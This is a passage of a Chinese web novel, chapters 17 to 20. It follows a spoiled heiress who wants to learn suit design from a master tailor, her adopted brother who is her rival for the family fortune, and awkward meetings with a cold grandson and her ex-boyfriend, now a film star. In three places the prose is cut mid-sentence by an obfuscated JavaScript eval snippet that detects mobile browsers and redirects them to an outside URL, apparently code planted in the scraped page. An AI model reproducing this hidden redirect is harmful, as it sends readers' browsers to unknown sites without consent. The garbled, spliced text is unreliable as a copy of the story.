生活在梧城主城区的这样一幢豪华的花园洋房别墅里,学习精英课程,接受精英教育,学着不卑不亢地接待络绎不绝上门拜访想要巴结讨好他的人,平淡地接受所有人对他“小少爷”的尊称。 这是他的日常。 何天麒的人生轨迹发生剧烈转变的那一天,正好是他的两岁生日那天。 那时他还不叫何天麒,他叫乐乐。 他被福利院院长牵着手,领到了一对夫妻面前。 那对夫妻穿着漂亮的衣服,坐着漂亮的车,身后还跟着几个凶神恶煞的男人,肌肉比他的脑袋还大,恭敬地帮他们拿包。 “像……真的像!” 叔叔盯着他,眼神都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349201|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些恍惚。 而那个看上去身体不太好的有些憔悴的阿姨,却在听见他的生日之后,一下子痛哭出声。 “连生日都和宝宝的预产期接近!” “老公,就是他了!就是他了!” 乐乐被阿姨一把揽进怀里。 他闻见阿姨身上的味道。花香味,还夹杂着一丝苦涩的药味,像是那种很没有活力的苍白的小花。 抱得太用劲,他都有些难受。 乐乐艰难回头,却看见,福利院院长腰几乎都快弯到了地上,从来没看见过他脸上露出过这么多笑容。 他是一个完美的小孩。 年龄小,聪明,身体健康,无父无母。 五官长得像那个叔叔,生日和他们夫妻那个未出世就已经流掉的孩子的预产期接近,生辰八字被算出来与夫妻两人极其合拍,是大旺之身,一生顺遂,衣禄丰足。 ——还有最重要的。他是男孩。 乐乐就这样跟着这对奇怪的夫妻走了。 那几个凶神恶煞的男人接过了他的书包。被抱进那辆漂亮的车的时候,他小心翼翼说了一句谢谢。 “不用对他们说谢谢。” 叔叔看着他,满眼欣赏和慈爱。 “你是何家的人。是我的儿子。” 他是何家的人。是何川的儿子。 他改名叫何天麒,广阔天宇,祥瑞麒麟。 即使他与何川和辛文清没有血缘关系,即使何川和辛文清已经有了一个亲生女儿。 但是他是男孩。 但是他跟何川姓。 所以森川集团未来的继承人,一定是他何天麒。 ——这是何天麒从两岁到十八岁的这十六年来,一直被周围所有人灌输的思想。 就像那种养成模拟经营游戏一样,他改名字、换衣服、住进了梧城郊外的一间闲置的别墅、坐进了豪车、背着书包踏进了私立精英小学的大门。 从此一路顺风顺水,严格被按照豪门继承人的经典思路来培养打造。 他会马术,滑雪。 他学习击剑,外语,每三个月出国一次。 他出行会带保镖,在家里有佣人。 他几乎不会尝试任何有风险的事情,因为他的生命实在太珍贵了。 他今年才十八岁。 但他冷静,理智,成绩优异,天赋奇佳,彬彬有礼。 何天麒在世界上最倾慕的人,就是他的父亲。 何川是个无比成功的商人,一人打拼出如此规模惊人的商业帝国,还在福利院里一眼看中了自己。何天麒愿意为了何川肝脑涂地,他发誓绝不辜负父亲对他的深厚期望,一定会成长为独当一面的继承人。 何天麒在世界上最讨厌的人,就是他的姐姐。 被叫做“梧城第一废物”,邋遢懒散,醉生梦死,荒唐好色,玩物丧志。而这样的草包居然都可以光明正大站在父亲身边,成为森川集团多年来唯一公开的继承人,只是因为,她是亲生的。 所有人都没想过辛桐会回来抢家产。 她的废是人尽皆知的。 所以何天麒的身份被公布以后,没人会觉得辛桐还能翻身。何天麒自己也是这么想的。 但是,他低估了自己这位姐姐的大言不惭和狂妄无知。 …… 何天麒平静地接了一杯咖啡。 巴拿马瑰夏,世界顶级的咖啡豆。他其实喝不惯。 但是梧城的人似乎都会喝。何川也告诉他,生意场上的人常把咖啡当成社交手段。 所以他在学着接受。 已经十点了。楼上静悄悄,姐姐的房门紧闭,还没起床。 把Kelly公司原总裁打进了医院之后,她昨晚后半夜才到家,是被一辆陌生的车送回来的。 昨晚何天麒站在二楼窗前,看见楼下,车门打开,姐姐被一个男人极其粗鲁地扛下了车。 她穿了一双从来没见她穿过的白色运动鞋,披着披肩,头发乱糟糟,脸上还有可疑的红晕。 那是个很高大的男人。金色头发。 隔得远看不清楚,只觉得神色很冷。 姐姐还在激动地说着什么,没注意看自己身后光线昏暗处的长长台阶。 在马上就要踩空坠下去的前一秒。 金发男人面无表情一下就把人拽回来。 又迅速松开,皱眉看了看手上沾上的她衣领处的咖啡渍,嫌弃地掏出纸巾擦手。 随后插着兜冷酷地转身,把纸巾扔进了垃圾桶里,发动车子离开。 …… 何天麒站在咖啡机旁,漠然收回看向二楼的目光。 他对于这个男女关系混乱的姐姐的私生活没有任何兴趣。 但是她是他争夺家产唯一的竞争对手。 所以他想借此了解,她每天的早出晚归、忙忙碌碌,是真的在经营公司挽救亏损,还是只是一场给父母和大众的盛大表演。 而现在看来,江山易改,本性难移。 三分钟热度,能力低下,玩物丧志。 更何况,她只是一个女人。 一个不应该享有任何继承权、天生愚蠢感性、只能用来繁衍后代的女人。 这就是女人的定义。全世界都这样告诉他。 18. 第 18 章 别墅二楼。 辛桐其实已经醒了。 但是没起床。 她在思考。 辛桐之前的想法其实极其简单。 她要争家产。她要让Kelly盈利。她要做出好看的女式西装。 而江远滨就能做出来。 所以她就想找江远滨教她做。 ——非常通俗明了的逻辑链,小学生思维。 甚至当她真正实践的时候,她也没觉得有多困难。 江家不缺任何商业机会,江远滨地位高已退休,他和辛桐素不相识等于陌生人……看上去铜墙铁壁,可辛桐逛了个公园吃了个生煎就意外解决了。 可没想到江远滨给出的条件是,要她说服江崇焰每周都回家吃饭。 ……辛桐把自己埋在被子里,重重地叹了口气。 她觉得江崇焰此人叛逆随性,桀骜不驯,脾气不好,高傲洁癖,还带着点装逼。 最重要的是,他应该很讨厌自己。 辛桐开始深深怀疑,这个任务,到底还有可能完成吗? 为了验证这一点,辛桐开始翻来覆去地回忆跟江崇焰认识以来发生的所有事情,试图去探寻目标对象的心理状态。 她看向桌上。 那里放着一瓶小小的瓶装可乐。 红色瓶盖,喝了一半。 正是那瓶江崇焰在警局给的、后来又莫名其妙被他生气拿回去的可乐。 昨晚江崇焰把她送回家门口,摸到自己裤子口袋,直接把这瓶可乐扔进了她怀里。 “你喝了一半。” “自己带走。” 那嫌弃的语气,辛桐现在想起来都有点恨得牙痒。 她左思右想,拿捏不定,干脆一个骨碌爬起来,拨通了宋青云的电话。 “有个人,我想求他办事。” “但是,他看上去很讨厌我。” “你帮我做个判断。” 宋青云从小就胆子小,笨笨傻傻的,说话也柔声柔气,也只有在辛桐面前才会开朗一点。她小声地“嗯”了一声,等着辛桐说话。 “我说我很渴,他正好有一瓶可乐,在我的询问之下他同意给我了。你说他是讨厌我吗?” “不好说。一瓶可乐而已,给你也没什么损失。” “那我喝了之后,他嫌弃地让我带走……” “他讨厌你。” “我半夜手机没电,被困在一个地方没法回家,他把我送回家了。你说他是讨厌我吗?” “不确定。大半夜一个女生在外面,是个人也不会坐视不理。” “那他把我扛起来威胁警告说,如果我再惹他就把我扔进河里……” “他讨厌你。” “我没看见身后的楼梯,差点摔下去,他拉了我一把。” “人之常情。” “那他拉完我之后立刻松手,嫌弃手上碰了我的脏衣服,还用纸巾擦手……” “他讨厌你。” “……”辛桐已经气得要晕倒了。 对面还追问,“这人谁啊?” 辛桐遇见救星般诉苦吐槽,“对啊!你说他是不是有病!我干什么了,他就这样讨厌我!” “那倒不是。” 宋青云声音软软糯糯,说出来的话却像刀子一般。 “圈里讨厌你的人多了,但是都不敢明面上表现出来,毕竟你爸是何川。” “我的意思是,他可真够勇的。” “。” 辛桐如鲠在喉,气得要变异成丧尸了,炸毛怒骂了几句宋青云就挂断了电话。 好了,现在天终于塌了。 让他每周都回家吃饭——这样一个讨厌自己的叛逆不好惹的富家少爷,怎么可能会乖乖听她的话? 人家是否回家吃饭,跟她有什么关系? 人家家庭内部爷孙之间的矛盾和关系,她一个外人有什么资格去说? 此时辛桐才终于明白,为什么江远滨会那么快就松口。原来那只是人家负气的随口一说,根本没经过思考,也没认真考虑过辛桐真的完成这个任务的可能性。 她呆呆看着桌上那瓶可乐。 包装上的小人表情张牙舞爪的。 像是也在嘲笑她无知。 以为异想天开的长期计划终于有了短期目标,没想到这短期目标跟长期计划本身一样难以实现。 连江远滨都啃下来了,辛桐没想到,自己会居然是死在了江崇焰这里。 她蔫了吧唧躺回床上,像一朵残败的花。 玻璃窗外天光已经大亮。暖黄的阳光透过玻璃窗照进来,洒在女孩年轻干净的脸上,像一汪金色的浅滩。 她一动不动愣愣地发呆,瞳孔也跟着痴傻地沉寂。 脸侧细小的绒毛在光明中白得透明。 她眼神毫无焦距地看着窗外。 窗外是一片面积宽阔的花园,种满名贵花卉。 辛文清喜欢植物,别墅每扇窗前都必须要能看到花园,一扇窗就是一副景,换一扇窗就是换一幅画。 辛桐呆呆地看着窗台上的浅粉色的花朵。 龙沙宝石,极漂亮的藤本月季。一层一层,一片一片,就这么盛大地、艳丽地开。不管旁边是什么环境,也不管周围人看见自己会不会被惊艳得驻足,它不为炫耀,不为比较,就是这样无所顾忌地开,它就是要开。 …… 辛桐眼睫颤抖了两下。 她瞥见镜子里自己眼下的乌青。回国以来一直都睡得不安稳,早出晚归,从前每周一次的美容院也再也没去过了,整个人都透着憔悴和不安。 她怎么会变成这样? 她可是辛桐啊,那个天塌下来都要开party的大小姐。 她就这么狂妄,就这么自由,躺的时候心安理得,争的时候也要乐在其中。 这世界怎么了? 这世界有什么了不起? 她生下来就是为了享受,为了玩乐。惨淡落败是体验,世俗成就她不屑。她只是一株常青藤,一棵梧桐,一朵窗台边的月季。她只为了阳光和希望而生活。 世间条条大路通罗马,难道她就只有靠江家才可以吗? 国内这么多设计师,这么多裁缝,跟谁学不是学? 她好歹也是森川集团大小姐,服装行业处处是人脉。 只要下定决心想做,就一定能做到。 天下无难事。 想通了这一点,辛桐立刻从床上一跃而起。 给权莉秘书打了个电话,说自己今天要去公司。洗漱完毕后从巨大的衣帽间里随便拿了个包,塞了一堆东西,拉链都没拉上,就急匆匆准备出门。 “噔噔噔”下楼,余光瞥见餐桌有人。 她故意不去看,直接往大门那里跑。 下一秒却被一股力骤然拉住。 何天麒就站她身后。 拉住她的手臂,低头盯着地板看。 地上掉了一个本子。刚从她那个塞得满满的包里掉出来的。 是她之前在国外读大学时候的笔记本。上面零散画了一些设计稿,但是大学四年以来她翘的课比上的课还多,所以四年下来也就这么薄薄一个本子,乱七八糟就画了十几张。 少年清瘦高挑的身形慢慢弯下腰,捡起掉在地上的本子,手指拍拍不存在的灰尘。 直起身子,垂眸看她。 “姐姐。东西掉了。” 哼。 看他这低眉顺眼的做作样子就烦。 辛桐冷嗤一声,觉得这人可真能装,表面上还装好人帮她捡东西,其实心里恨不得把她千刀万剐吧?这样就没人和他抢家产了吧? 她接过本子的一角,恶狠狠地说, “还给我!” 扯了一下,却没扯动。 何天麒没松手。 “最近在学习服装设计?” 他嘴角挂着得体的笑,声音淡然温和。 辛桐瞬间屏住呼吸。 两人此时距离太近,她莫名其妙起了一身鸡皮疙瘩,只觉得每次跟这人接触的时候都忍不住会觉得浑身都恶心。 她眉头皱起来,不自觉扁着嘴,一言不发。 又加上一只手,用力一扯,不仅没拉动,反而被一个作用力差点往前栽倒摔他怀里。 “姐姐,小心。” 少年温热的身躯紧紧贴着她的脸侧,嗓音清润,贴着她耳朵说出来。 辛桐立刻一把推开何天麒,怒目而视,恨不得把他宰了。 她开始痛骂他,可是他像没听见一样,就那样平静淡然地看着她。 辛桐把本子塞进包里,最后狠狠瞪了他一眼,骂骂咧咧地拎着包走了。 * 到了公司,权莉递上来一杯咖啡。 辛桐瞅了一眼就拒绝,“不用,我最讨厌喝这个。” 早已习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360540|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给上司买咖啡的权莉愣了一下,还怕辛桐是大小姐只喝高档东西,解释说,“辛总,这是Off家的巴拿马瑰夏。” 辛桐再次摇头,“什么跪下站着,就是不喜欢。” 权莉愣神了一瞬。她已经很久没听过“不喜欢”这个词了,职场很少用到这个词,只有主流、普遍、效益。咖啡在梧城早已融合为大众生活方式,苦焦味唤醒了整座城市的早晨,形形色色的人穿着职业装挤地铁,人是机器,咖啡是腐朽粘腻的机油。 辛桐: “不喜欢的东西,为什么要强迫自己适应呢?” “我就是不喜欢呀。” “我自己的人生,难道不是我自己的感受最为重要吗?” 她嘻嘻哈哈掏出刚刚在公司楼下拿到的奶茶外卖。 “如果我是大老板,我就规定所有酒局应酬上,所有人都喝奶茶。” 权莉犹豫提醒:“这样何川董事长可能会不高兴,以前都是必须喝酒。” 辛桐:“以前是以前。我如果掌权,就带你们去新世界。” …… 权莉开始报告何向荣在医院的近况。 权莉当了快十年秘书,一丝不苟的衬衣、马尾、工作证,戴着眼镜,讲话严谨,工作认真,时刻维护上司需求,是那种最受上司青睐的一本正经型助理秘书。 她汇报得很官方,一口一个何总,时不时穿插医学诊断结果生僻词。 辛桐随意听着,实际根本没听懂,也懒得听。 直到最后冷不丁地开口,语气兴致缺缺。 “所以那老登到底咋样了?” “……”权莉听见这两个字顿了一下,这才意识到自己老板的文化水平有限,于是纠结一下还是跟随了老板的风格: “老登的蛋碎了。” 辛桐到嘴的奶茶喷了出来。 她心情极好地拍拍权莉的肩膀。 “好!很有精神!言简意赅!” 辛桐躺了回去,淡然悠闲地说,“他要多少钱赔偿?直接从我个人账上出。” “这就是奇怪的地方了。” “他一分钱也没要。其他的任何方式的赔偿,也都说不需要。” “嗯?为什么?” “他说就是不需要。” 权莉显得有些忧心忡忡。 “辛总,我觉得这里面可能有问题,按照我对何总的了解,他不是这样忍让的性格。” 辛桐嚼着珍珠,漫不经心的。 “不用管了,他忍让肯定是因为我爸。” “不然他干嘛同意调解,就应该告死我啊。” “放心,只要我一天还是何川的女儿,他就要忍一天。” 辛桐有些急切地从包里掏出东西。 “何向荣的事情就到此结束吧,我之后还有更重要的事情要做,需要麻烦你帮我安排一下。” * 辛桐去见了公司的设计总监。 在服装公司,设计总监是品牌绝对的灵魂人物。品牌所有大大小小的事情,诸如门店装修、服装风格、选款样品、模特照片等部分,都需要设计总监去经手把控。设计总监几乎决定了品牌的基本调性和风格。 Kelly从创办以来一直到前五年,都从来没有更换过这个角色。 然而自从经济状况愈来愈差以来,三任CEO在上任之后,无一例外都在一开头就选择了更换设计总监。 他们不断期望用更好的、更厉害的人选来挽救品牌,然而公司整体问题繁杂纠结,不是光换设计总监就可以解决的。再加上错误的风格选择、僵化的员工内部管理、以及急于挽救亏损的短视市场策略,反而让亏损越滚越大。 越换越乱,越乱越换,繁复循环,最终积压成巨大的烂摊子。 现任设计总监叫艾灵。 辛桐和她见面以后聊了一会,觉得她履历丰富,思维活络,做事认真,能力也很出众,在各方面都是没有短板的。 上任CEO严选,想来也不会有错。前人栽树后人乘凉,辛桐乐得自在。 她看艾灵面对她时有些谨慎,特地解释, “别害怕,我绝对不会换掉你的。” 辛桐笑嘻嘻地拍着胸脯。 “我跟那三个男CEO可不一样。” “虽然他们是硕士,但是我可是女士!” “女装的事,男人搞得清楚吗?也难怪放他们手里亏那么多钱。” 19. 第 19 章 服装公司里,老板负责商业管理,设计总监负责风格设计。可实际情况下,设计总监也需要极大地考虑市场和成本。 亏损越多、经济压力越大的公司,品牌风格设计就越僵化,整间公司从老板到员工的唯一目标就只是短时间内盈利。 对于Kelly目前的情况而言,再厉害独特的设计总监最多都只能做到维持现有现状,而如果想要实现大刀阔斧的改变,只有老板才能拍板决定。 辛桐把自己想找业内知名设计师学习的想法告诉了艾灵。 本以为她会觉得这想法浪费时间异想天开,却没想到艾灵眼睛瞬间就亮了。 前任总裁何向荣以及之前几任CEO对服装设计专业本身都称不上了解,更在乎的是成本和收益。因此艾灵一直被夹在中间难以施展。 假如新的老板懂专业,这将是史无前例的大变化。 艾灵帮忙联系上了圈内知名设计师陈问。 “我们以前都在英国皇家艺术学院留学,那时陈问还是我学姐,算得上有交情。她前几年在Kim担任艺术总监,后来又负责了其他几个国际一线大品牌的春季秀场,去年开始成立自己的工作室和品牌。” “哦对了,她最近应该挺忙的,听说在跟当红新锐影帝梁洛明合作拍杂志!” “梁洛明,辛总您知道吧?就最近很红的那个男演员。” 艾灵平时也是个追剧狂,一聊到这个话题就扯着辛桐开始大谈特谈,盛赞梁洛明五官端正盘亮条顺,从服装设计师角度来看简直是三百六十度无死角,也怪不得人家现在正当红,杂志资源接得手软,简直是时尚界的宠儿。 “哈哈。” “你看你看,辛总!我昨天存的图,是不是很帅!” “哈哈。” “辛总,你去找陈问的时候要是碰见梁洛明了,能不能帮我要个To签啊!” “哈哈。” ?艾灵终于意识到不对劲,老板怎么变AI了,下一秒就看见老板收起假笑僵硬的嘴角,甩下一句“我先去了”就风一般地消失了。 梁洛明的To签? 辛桐踩着粉色劳斯莱斯的油门,在心里幽幽地想。 她何止有啊。 这位当红影帝的后腰上,还纹着她的名字。 …… 辛桐大二的那年休学了半年,环游世界到处玩,就在伦敦遇见了当时还名不见经传的梁洛明。 演员新人被经纪公司打压雪藏,失意下拿着所有存款出国散心。两人在伦敦的落日中遇见,经典爱情的开场。纯情小奶狗受不了辛桐这种情场老手,两周就迅速沦陷,满眼珍重地承诺他一定会在娱乐圈闯出一番事业。 确认恋爱关系后两人回国,辛桐本性难移去了夜店嗨皮,结果被梁洛明当场捉住。 辛桐现在还记得那一幕,自己正和帅哥嘴对嘴接扑克牌,下一秒就看见门口,小奶狗站在那,满眼受伤,眼神哀戚,还咬着唇不愿让她看见眼角的泪。 而他手里,拿着用他自己所有存款买的钻石戒指。 分手是她提的,没办法,已经够渣了,就别继续耽误人家了。梁洛明一言不发离开了,自此每天泡在剧组里,从龙套一路往上演,一门心思搞事业,直到去年的电影代表作过五关斩六将拿下影帝,成为最年轻的最佳男主角获得者,名利双收,星途璀璨。 现在辛桐再回忆起这些事,已经没什么情感了,顶多有点愧疚。 她这种没心没肺的好色之徒,最好还是别招惹人家,老死不相往来,不见面是最好的选择。 * 一路开车到了陈问的个人工作室。 陈问热情开了门。 辛桐偷偷观察了下周围,没看见前男友有关的东西。 松了一口气,总算放心了。 陈问个人工作室里满满一面墙全是个人设计奖项,她现在是圈内当红设计师,势头正猛,尤其擅长西装设计。辛桐越看越觉得有戏。 跟谁学不是学? 难道只能跟江家学? 一想到江崇焰那冷淡的眸子,辛桐就像巴普洛夫的狗一样浑身一紧,不自觉就想捂住屁股。 可是马上又想到,这只是她自己做贼心虚做的梦,实际上江崇焰根本就没做这种事,反而对她厌恶至极,看见她也只会迅速退避三舍。 甚至如果知道了她做这种梦,还会恼羞成怒斥责她无可救药。 而更雷人的是,其实现实里,她才是那个第一次见面就打了江崇焰屁股、还掐了江崇焰N头的人。 ……于是瞬间熄火,只能讪讪再把手从自己屁股上放下来。 XHS上的那条“对大人物打屁股掐N头”的帖子彻底爆了,每天几百条评论地增加,可没有一个人给她支招,反而全都在蹲后续,都是拉屎的没有递纸的。 辛桐愤恨又绝望地想,这说明这种情况是真的没救了。 既然江家这条路被堵死,总要允许她另谋出路吧。 …… 她跟陈问闲聊。 对方不知她用意,只知道她是森川集团千金,还有艾灵师妹在中间牵线搭桥。 任何行业都看金钱和关系,森川集团如此重量级的大资本,是必定要social和结交的。 因此陈问极为热情,两人坐在沙发上加了微信,聊得很是投缘。 “这行业就是这样了。文无第一武无第二,艺术类东西外行看着都一样,内行才知道门道。想要成为60分的设计师很容易,但是想要成为90分的设计师,就难如登天。从前的裁缝崇尚师徒关系和言传身教,现在的设计师强调大品牌工作经验,也正是这个原因。” 辛桐本以为她说的是之前在Kim当艺术总监的经历。 却没想到陈问摇摇头。 “对我帮助最大的,是当年在我师父那里学习工艺基础的经历。” “没有他,就不会有我的今天。” 你师父? 辛桐呼吸突然一窒。 “你师父是谁。” 疑问句的内容,却是陈述句的语气。辛桐盯着陈问的嘴型,和她一起,在心里同步说出了早有猜测的答案。 “江氏西装,江远滨。” 江远滨几乎称得上桃李满天下。江家传承完整,资历深厚,他已是国内西装第一人,却丝毫不端长辈架子,从不认同“教会徒弟饿死师傅”的藏私行为,不吝惜传承和散播,教出的许多得意门生现今都已经成为了时尚界举足轻重的人物。 他不图钱财,教授徒弟分文不取,甚至不论资排辈,只要有天赋并且愿意学的,哪怕是名不见经传的新人菜鸟,他也愿意指点。 他是大师,是泰斗。 论说工艺和基本功,再也没有比他更厉害的人。 …… 辛桐不由得想起了自己十八岁那年,何川找江远滨给她定制的那套女式西服。 十八岁,社会对成年人的定义由此开始,她正满心欢喜准备去美国留学。 喜欢裙子、高跟鞋和蝴蝶结的年纪,她顶着一头红红绿绿的头发,站在江氏的工作室里,穿上了人生中第一件西装。 五个月的工期,多次试穿和调整。 做工精致,修身贴合。一人一版,全世界仅此一件。 辛桐呆呆地看着镜子里的自己。 凌厉,潇洒,线条。 从未见过的她,给自己人生仅此一次的十八岁。 空气里飘散着模模糊糊的陌生味道——那是重型熨斗反复加热使用的湿润的味道。 房间里一整面巨大的柜子顶天立地整整齐齐摆着几千种繁复的纹样,橱窗里站着一个笔挺的假人模特,穿着江远滨亲手做的一件正统英式西装,头戴礼帽,胸前手绢整整齐齐,皮鞋一尘不染。 十八岁的辛桐抬头,懵懵懂懂望向江氏工作室门口橱窗的玻璃。 那里写着一行字: “时尚会过去,但风格永存。” “——CocoChanel” …… 二十二岁的辛桐坐在陈问个人工作室的沙发上。 目光穿过陈问,看向了她身后的陈列柜。 柜子摆满各类设计奖项以及和各种圈内大拿的社交合影。 而在所有东西的正中间,一眼就能看到的地方,端端正正摆着一张旧照片。 正是陈问和江远滨的合照。 背景杂乱,桌上有缝纫机和乱七八糟的彩色布料。 女孩随便穿了件肥大的T恤,脚踩着拖鞋,年轻青涩,笑得开心,比了个剪刀手。 而老人家却一身英式修身卡其色西装,熨烫得体,没有一丝褶皱。 相框下方,黑色马克笔字迹陈旧,苍劲有力,一笔一划,写着对得意门生的殷切寄语。 ——“天行健,君子以自强不息。” 落款:江。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382562|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛桐的手在微微颤抖。 她知道,她再也无法说服自己去寻找一个替代选项了。 她不知道什么是美,什么是精神,什么是时尚。 她不知道衣服代表着什么,风格意味着什么,人类漫漫文明中服饰到底扮演着什么样的角色。 她只知道,她心中汹涌的情感一直在告诉她一件事: 整个圈子里,再也没有比江远滨更好的人了。 要学,就要跟最好的人学。 * 辛桐默默在心里下定了决心。 两人闲聊一会,陈问还在问辛桐等会要不要一起吃饭的时候,突然,门铃响了。 陈问突然面色一喜。 “哇,今天真是巧!” “我的贵客来了!” 贵客? 辛桐一下子慌了。 不会是梁洛明吧! 我靠!啊啊啊啊啊! 她立即站起身,像只土拨鼠一样僵在原地,心跳如鼓,想要逃开又不知道该往哪逃,整个人大脑一片空白。 ——却没想到,下一秒门打开,她就对上了那双熟悉的淡漠的长眸。 “……” 人在倒霉的时候,真的会笑。 辛桐露出一个撒贝宁同款皮笑肉不笑的表情。 跟这位比起来,那要不还是梁洛明吧。 只可惜门已经打开,薛定谔的猫已经死了,没有第二种可能性了。 江崇焰施施然走了进来。 他外套沾了些雨水,身上带着轻微的寒气。 甩甩前额湿润的头发,随后就歪着头,看着面前的辛桐。 “看来我来得不巧。” 他一字一顿,表情似笑非笑的。 明明是在对陈问说话,眼睛却一直盯着辛桐看。 “不然你家里怎么有一个人一直在模仿撒贝宁,皮笑肉不笑的。” 辛桐迅速拿起包,一边往手臂上背,一边就往门口走,还满脸堆笑地冲陈问做了一大堆那种电话听筒的手势,装出一副自己是公司老板日理万机的样子。 “我先走了。” “别啊!”陈问很是热情地把辛桐强行拉回来,按着她的肩膀往沙发上坐,“大家正好认识一下呀!” “这是森川集团何川董事长的女儿,Kelly女装的总裁,辛桐小姐。” “这位就是我师父江远滨先生的孙子!我们认识也很多年了。他以前真是天赋奇佳,一点就透,师父所有徒弟都比不过他。只可惜人家志不在此,做其他行业去了。” 江崇焰受爷爷托付,给陈问带了点东西。 陈问高兴得很,极力促成这段暗潮汹涌的三人会话。辛桐只能继续满脸堆笑地坐着,以及第八次拿起了桌上的茶杯低头喝水。 她不说话,那两人却还在氛围轻松地闲聊。全程都是陈问在说,江崇焰偶尔应一声,懒洋洋的。 “师父最近身体怎么样?” “老样子。还行。” 辛桐突然插嘴, “身体是革命的本钱,老年人生活孤独,子女孙辈最好每周都回去看望。老话说得好。常回家看看。珍贵,美好,共勉!” 周围安静一瞬。 辛桐感到江崇焰审视的目光扫了过来。 如有实质,在她身上停留一会。又淡淡移开。 陈问:“哦对了,知道师父祖籍金陵,一直都想念家乡味道,所以我之前买了点金陵特产盐水鸭,他们说这鸭子很不错呢!过几天我就登门看望。” 辛桐又插嘴, “是啊,这鸭子肯定好吃,江少爷最好这周末就回去,陪老人吃吃饭。” “……” 对面金发男人盯着她一会,突然冷笑。 “不用。我对鸭子过敏。” 陈问闻言意外,还有点惋惜,“嗯?什么时候的事?” 辛桐却听懂了。 想起两人的初遇,做贼心虚,不敢再看他,支支吾吾埋下头去。 很会读空气的她再次站起身。 “这次我真的要走了。” 陈问还没来得及再挽留一会,下一秒,门铃再次响了。 这次,三个人都微微愣怔。 还会是谁? 陈问走到门口,看到监控屏幕上的人,惊讶。 “呦,什么情况,今天这么多贵客?” “怎么梁洛明大明星也来了?” 20. 第 20 章 “什么!!!” 辛桐如堕冰窟,脑子像被一闷棍打蒙了。 完了。 脑子里就回荡着这句话。 这次是真的。 她这声“什么”音量太大语气太恐慌,周围空气彻底安静,旁边两人全都朝她看过来。 陈问:“你认识他?” 辛桐立刻大喊,“不认识!” 喊完又觉得太过明显,心有余悸闭上嘴,果然下一秒就发现,江崇焰正抱着手臂,微微眯起眼睛,一瞬不瞬地盯着她看。 她竭力想让自己冷静下来。要不要借陈问的卫生间躲一躲?可是谁知道梁洛明要呆多久?她掐自己大腿想保持清醒,掐了半天都没感觉,低头一看才发现自己手抖得像帕金森。 对面传来一声很轻的嗤笑。 “既然你有客人,我就先走了。” 声音懒洋洋的,尾音向下,毫不拖泥带水。 说完最后一个字,男人就已经脸色很臭地站起了身。 辛桐瞬间反应过来。 “那我也先走了。” 她紧紧跟在江崇焰身后。 江崇焰把门打开,辛桐偷偷探出脖子朝外瞄了一眼。 正好瞥见,门外站着一个男人。 黑衣服,戴口罩帽子墨镜,包得严严实实,全副武装,经典大明星防狗仔打扮。 好几年不见,前任已经飞黄腾达,今非昔比了。 辛桐迅速把脖子收回来。 她心跳如擂鼓,哆哆嗦嗦缩在高大的金发男人背后。 两人的距离只剩微妙的危险的几厘米,靠近他的瞬间,辛桐鼻间就闻到了江崇焰身上那股熟悉的好闻的香水味道。 社交距离一下子被打破,近距离接触带来不由自主的心跳增速。只要一低头,就可以看见宽阔脊背下,是称得上窄细的腰,以及腰间一条细细的银链。 如此千钧一发的紧张时刻,辛桐突然走神了。 她屏住了呼吸。 她有点晕了。 晕荷尔蒙。 辛桐乖乖地低着头,缩在男人身后。 眨眨眼睛,逼自己扭头看向别处。 过了两秒又不由自主把头扭回来,低头盯着男人的后腰看。 最后,试探性伸出手指,轻轻拉了一下那条腰链。 衣服褶皱卷起来,露出了一小截劲瘦的腰。 金属物品摇弋碰撞,晃晃悠悠,松垮贴着后腰的皮肤。 心跳声咚咚狂响,她像是被刺激到般猛地缩回手。 好冰。 ……好爽。 …… 江崇焰一米八八,身材劲瘦但是肩膀宽阔,骨架大。 若是从前面看,根本看不出来后面藏了个人。 梁洛明站在门口,眼里透出一瞬的愕然。 他似乎没想到有人会从里面出来。 而且……梁洛明停顿了一下,还是一个身材高大的金发男人。 男人轮廓立体,眉骨锋利,很出众的长相。梁洛明第一反应就以为是明星。 可是马上就又想到这是在陈问个人工作室,应该很大可能是时尚行业相关从事人员。 可是不管哪一种,梁洛明都知道,自己肯定从未见过他。 两个男人的目光隔空交汇短短一瞬。 “呃……”陈问看着门口紧紧缩在一起当连体婴儿的那一男一女,有点疑惑,迟疑着对梁洛明开口,“梁先生来了,快请进。我这边刚刚的客人正准备走。” 梁洛明闻言,很是大方地点头,站定,伸出手。 “梁洛明,幸会。” 却没想到,眼前这金发男人看也没看他伸出的手。 眉宇冷厉,面无表情盯着他的脸看了几秒钟。 又扫了扫他全身。 最后抿着唇,双手插兜,头也不回地走了。 